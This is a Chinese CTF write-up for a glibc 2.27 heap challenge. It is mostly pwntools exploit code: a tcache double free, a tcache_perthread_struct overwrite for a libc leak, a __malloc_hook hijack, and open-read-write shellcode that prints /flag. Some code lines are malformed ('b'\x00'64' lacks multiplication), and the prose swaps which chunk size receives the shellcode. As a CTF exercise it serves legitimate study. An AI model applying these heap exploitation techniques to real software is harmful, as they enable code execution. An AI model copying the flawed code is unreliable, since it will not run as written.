Ubuntu18的堆题,开了沙箱,禁用了execve,只能ORW

在沙箱函数中发现程序开辟了一段可读可写可执行的区域可用来写入并执行ORW的shellcode

同时只能使用菜单18次,free四次,并且存在UAF使得只能add7次且大小不能超过0x100


本题采用2.27-3ubuntu1_amd64的libc,因为add的限制无法创建一个可以进入unsorted bin的chunk或者填充tcache_perthread_struct来泄露libc地址,但是可以进行double free后进行tcache bin attack控制tcache_perthread_struct结构体,向count中写入数据伪造tcache bin中的数量后free一个chunk后进入unsorted bin达到泄露libc效果,继续写入entries,分别将0x66660000和__malloc_hook写入entries的0x80和0x90位,申请0x70和0x80的chunk分别写入shellcode和0x66660000,add一个chunk后可读出flag
double free 泄露堆地址
add(0x98)#0
free(0)
free(0)
show(0)
p.recvuntil(b"content: ")
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x260
修改chunk0的fd指针指向heap_base+0x10位置申请两个chunk得到tcache_perthread_struct
add(0x98)#1
edit(1,p64(heap_base+0x10))
add(0x98)#2
add(0x98)#3
修改counts并且free当前chunk会进入unsorted bin接受libc地址
edit(3, b'\x00'*32 + b'\x07' * 32)
free(3)
show(3)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3EBCA0

恢复counts并且修改entries
malloc_hook=libc_addr+libc.symbols['__malloc_hook']
add(0x98)#4
edit(4, b'\x00'64 + b'\x00'0x30 + p64(malloc_hook)+p64(0x66660000))

修改__malloc_hook和向0x66660000写入shellcode
shellcode = asm(shellcraft.open("/flag") + shellcraft.read(3, heap_base, 0x30) + shellcraft.write(1, heap_base, 0x30))
add(0x80)
edit(5,shellcode)
add(0x70)
edit(6,p64(0x66660000))
add(0x98)
得到flag

Comments NOTHING